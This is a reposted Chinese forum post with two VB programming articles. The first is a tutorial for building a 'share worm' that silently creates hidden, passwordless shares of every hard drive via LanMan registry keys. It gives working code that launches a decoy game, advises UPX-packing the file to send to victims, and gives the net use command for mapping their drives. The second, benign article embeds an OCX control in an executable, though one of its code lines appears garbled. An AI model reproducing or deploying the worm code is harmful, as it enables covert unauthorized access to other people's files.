返回列表 发帖

[转载] 共享蠕虫的原理及用VB编程的实现方法 和 OCX植入执行文件内

VB是一个非常"美好"的编程语言,至少我是这么认为的。原因有二:其一是,VB的英文名可以解释为Very Beautiful,这是VB的"美";其二是,"好"字的五笔输入码是什么?"VB"是也,这就是我所谓的VB的"好"。嘻嘻,这样的解释够Cool吧!
       但事物都是有两面性的,这么美的语言在有些人手里却成了搞"破坏"的工具,被用来编写病毒.最近网络上的各种病毒层出不穷,其中有相当一部分就是VB的杰作.比较有代表性的是共享蠕虫病毒.今天我们就来让它现出原形!
       所谓的共享蠕虫的病毒(network.vbs),它体积不但小巧(只有1K), 而且很具有破坏性!只要被这个病毒感染了的机器,所有的硬盘就会被完全共享,并且可以在局域网和因特网中传播。下面我们先谈谈它的原理。
       我们知道,把一个目录设置为共享的时候,如果在共享名后面加上$ 符号,那么这个目录将变成一个隐含的共享目录,即对方的机器上看不见这个共享目录。但是如果对方知道共享目录名,仍然是可以访问的,只要在这个目录后面加上$ 符号就可以了。
       虽然对方看不见这个共享目录,但是自己是可以看见的。这样也是不行的,虽然我们已经加上$ 符号,但是我们仍然可以发现这个共享目录的图标下面已经加上了一个小手,表示这个目录已经被设置为共享。这样使用者就会知道机器被人改动过了。而共享蠕虫的高明之处就在于:不光是对方看不见这个共享目录,而且连自己也是看不见这个共享目录的,这样就可以做到神不知,鬼不觉了。当你把这个程序发过对方,对方执行完以后,对方的机器就会被全部被共享,而对方却不知道。
       做到对方看不见很容易,只要在共享目录名后面加上$ 符就可以了;而共享蠕虫程序是怎么做到连自己也看不出来的呢?其实道理说出来也是很简单的,秘密就在注册表中。请看下面的例子:
       1.运行Regedit命令,打开注册表;
       2.找到下面的子键
       HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManC$
       3.在屏幕的右边,你可以看见下面的内容;
       Flags 0x00000302(770)
       Parm1enc (长度为零的二进制值)
       Parm2enc (长度为零的二进制值)
       Path "C:"
       Remark "Remark By Scent Lily"
       Type 0x00000000(0)
       关键的地方就是Flag这个参数,它的键值决定了共享目录的类型。我们把Flags的值设为302(16进制)就可以了。
       知道原理以后,用VB编制共享蠕虫的方法就很简单了,大致的步骤如下:
       1.用GetDriveType函数检测机器从C盘开始的所有驱动器。软驱我想就不必共享了,没有什么实际意义的!
       2.将找到的每一个驱动器后面加上$ 符作为一个子键(C$,D$,E$),写入注册表的LanMan子键下;
       3.将每一个子键的"Flags"值设置为302(16进制);
       4.将"Path"设置成相应的路径;如果愿意,你可以对"Remark"进行设置,比如,"某某到此一游了!",这样就OK了;
       4.如果你还想让程序更隐蔽一点,你可以在程序运行的时候,先执行一个程序,比如扫雷、空当接龙,或者找开记事本、资源管理器等等。这样,对方就更不容易识破了!
       下面讲一下程序的关键部分
  1.        Option Explicit
  2.        Dim WinDir As String
  3.        Const CommonPath = "SoftWareMicrosoftWindowsCurrentVersionNetworkLanMan"
  4.      
  5.        Private Sub Form_Load()
  6.        Me.Hide
  7.        Dim buff As String, DriveNo As Integer, Result As Integer, Game
  8.        For DriveNo = 0 To 25 注释:遍历所有的26个驱动器
  9.        buff = Chr$(65 + DriveNo) + ":" 注释:取驱动器符
  10.        Result = GetDriveType(buff) 注释:调用API函数来获得驱动器的类型
  11.        If Result = 3 Xor Result = 5 Then
  12.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 注释:写入共享的类型,这就是程序的关键所在
  13.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
  14.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 注释:写入共享驱动器的路径,就是"C:","D:"等等
  15.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 注释:写入共享目录的只读访问密码;
  16.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 注释:写入该共享目录的完全访问密码;;
  17.        setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Remark", REG_SZ, "Remark by scent lily!", 21 注释:写入一些注释信息,比如“香水百合到此一游”
  18.        End If
  19.        Next DriveNo
  20.        GetWinDir 注释:获得windows目录的路径
  21.        If Dir(WinDir & "winmine.exe") <> "" Then 注释:如果有扫雷游戏的话就在前台执行它
  22.        Game = Shell(WinDir & "WINMINE.EXE", vbMaximizedFocus)
  23.        Else
  24.        注释:因为扫雷游戏不是必装的,可能有的机器没有安装,但是资源管理器是肯定有的。所以,如果没有扫雷游戏 就启动一个资源管理器
  25.        Game = Shell(WinDir & "explorer", vbMaximizedFocus)
  26.        End If
  27.        Unload Me
  28.        End Sub
  29.      
  30.        Public Sub GetWinDir() 注释:获得windows所在目录的子程序
  31.        Dim Length As Long
  32.        WinDir = String(MAX_PATH, 0)
  33.        Length = GetWindowsDirectory(WinDir, MAX_PATH)
  34.        WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
  35.        End Sub
复制代码
完整的程序大家可以去网上下载(香水百合园http://scentlily.y365.com),其中的可执行文件是用VB6.0编译的,建议再用VB5.0重新编译一下。这样你只需要将这一个可执行文件分发给别人就OK了,不需要其它的任何DLL文件,因为Win98和Win2000已经自带VB5.0的DLL文件啦。这样就做成了一个绿色软件。你再用UPX这个可执行文件压缩工具压缩一下,就只有6K了,感觉很爽吧!
       有很多朋友来信问我,即然对方和自己都看不见这个共享目录,那到底怎么使用呢?其实方法也很简单的,因为在网上邻居里是看不见的,所以我们需要到DOS方式下去使用。命令如下:
       语法:net use <映射的盘符> \对方的IPC$
       例如:net use x: \192.168.0.2D$
       执行完这个命令以后,就将对方(192.168.0.2)的D盘映射成自己的X盘了。你就可以象使用C盘D盘那样使用X盘了,当你切换到X盘后,对X盘所进行的操作,实际上就是对方的D盘进行操作。
       因为现在的网友都已经很少愿意接收可执行文件了,所以网上流行的共享蠕虫程序是VBS格式的脚步语言。不过原理是一样的,只是实现的方法不一样罢了!
       怎么样!在别人机器上跳舞的感觉如何?一句话,"一切尽在掌握!",知道香水百合为什么用爱立信手机了吧!:)不过,还是要提醒你一句,看看就可以了,开开玩笑也没问题,不过千万不要搞破坏!因为VB是最"美好"的语言,不要破坏了她的美好形象噢!

........................................................................................................................................................

在用VB编程中合理的使用第三方控件,往往能够事半功倍。但是使用第三方控件也有不好的地方,那就是为了保证程序正常运行,必须使程序能够在系统目录或程序目录下找到所用的第三方控件。要做到这一点通常有两种办法:一是把控件和程序制成一个压缩包发行,这样的缺点是有可能导致在程序传播过程中丢失控件文件。二是制作安装程序,缺点是制作过程烦琐。而且上面两种办法也不符合绿色软件的要求。所谓的绿色软件是指软件只有单个可执行文件且无须安装,目前很受用户欢迎。那么有没有办法在使用了第三方控件的情况下实现绿色软件梦呢?答案是有。

  做法是,将第三方控件以自定义资源文件方式保存在程序中,程序运行之后使用控件之前将所用到的控件生成到该程序目录下,完成控件从可执行文件中的金蝉脱壳。

  具体做法如下:

  第一步:将要用到的控件拷贝到当前工程目录下,右键单击该控件,选择属性,记下文件大小。注意,应记下以字节为单位的具体数字,而不是多少K,以备编程使用。

  第二步:引用并正常使用该控件。

  第三步:新建资源文件加入工程,在资源文件编辑器中添加所使用的第三方控件为自定义资源(CUSTOM),资源号使用默认的101。如果使用了多个控件则分别添加到资源文件的101、102......资源项中,脱壳代码也要作相应的修改。

  第四步:编写控件脱壳代码,使其读取资源文件的数据,在程序当前目录下生成控件。

  代码如下:
  1. Private Const OCXSIZE = 57344 '欲生成的控件大小是57344Byte,名字为CoolToolBar.ocx

  2. Sub Main()
  3.  Dim Ocx() As Byte 'OCX是个Btye类型的数组
  4.  Dim Counter As Long
  5.  Ocx = LoadResData(101, "CUSTOM") '将自定义资源中101号资源读入数组OCX
  6.  '注意,微软的帮助中对加载自定义资源的说明有错误,自定义资源标识为"CUSTOM"而不是帮助所说的数字10

  7.  If Right(App.Path, 1) = "($%$43%^#ASD#2@$#f$%^) Then '读取程序所在路径,判断是否为根目录并分别处理
  8.   '程序在根目录下
  9.   If Dir(App.Path & "CoolToolBar.ocx") = "" Then '程序路径下有无控件,无则生成控件
  10.    '以二进制方式写(生成)控件(CoolToolBar.ocx)到主程序所在的目录
  11.    Open App.Path & "CoolToolBar.ocx" For Binary As #1
  12.    For Counter = 0 To OCXSIZE - 1 '注意因为从0 Byte开始因此以文件大小 - 1Byte 为终值
  13.     Put #1, , Ocx(Counter)
  14.    Next Counter
  15.    Close #1
  16.   End if
  17.  Else
  18.   '程序不在根目录下
  19.   If Dir(App.Path & "\CoolToolBar.ocx") = "" Then '程序路径下有无控件,无则生成控件
  20.    '以二进制方式写(生成)控件(CoolToolBar.ocx)到主程序所在的目录
  21.    Open App.Path & "\CoolToolBar.ocx" For Binary As #1
  22.    For Counter = 0 To OCXSIZE - 1 '注意因为从0 Byte开始因此以文件大小 - 1Byte 为终值
  23.     Put #1, , Ocx(Counter)
  24.    Next Counter
  25.    Close #1
  26.   End if
  27.  End if
  28.  Form1.Visible = True '主程序所用控件已经生成,显示主窗体,进入主程序。
  29. End Sub  
复制代码
  注意:将以上代码作为一个模块添加到工程中,并在工程-工程属性设置中将启动对象选为Sub Main,即上面的脱壳代码。然后编译生成EXE文件,将该EXE文件拷贝到其他没有安装所用控件的计算机上运行一下看看是否实现了控件携带之金蝉脱壳。如果是那么OK!以上为使用一个控件的情况,使用多个控件方法基本相同,不在赘述。
天行健,君子以自强不息
地势坤,君子以厚德载物
黑色海岸线欢迎您

QQ群:7212260
致力于探索WEB技术精髓:http://www.bitechcn.com
点这里加我!

返回列表 回复 发帖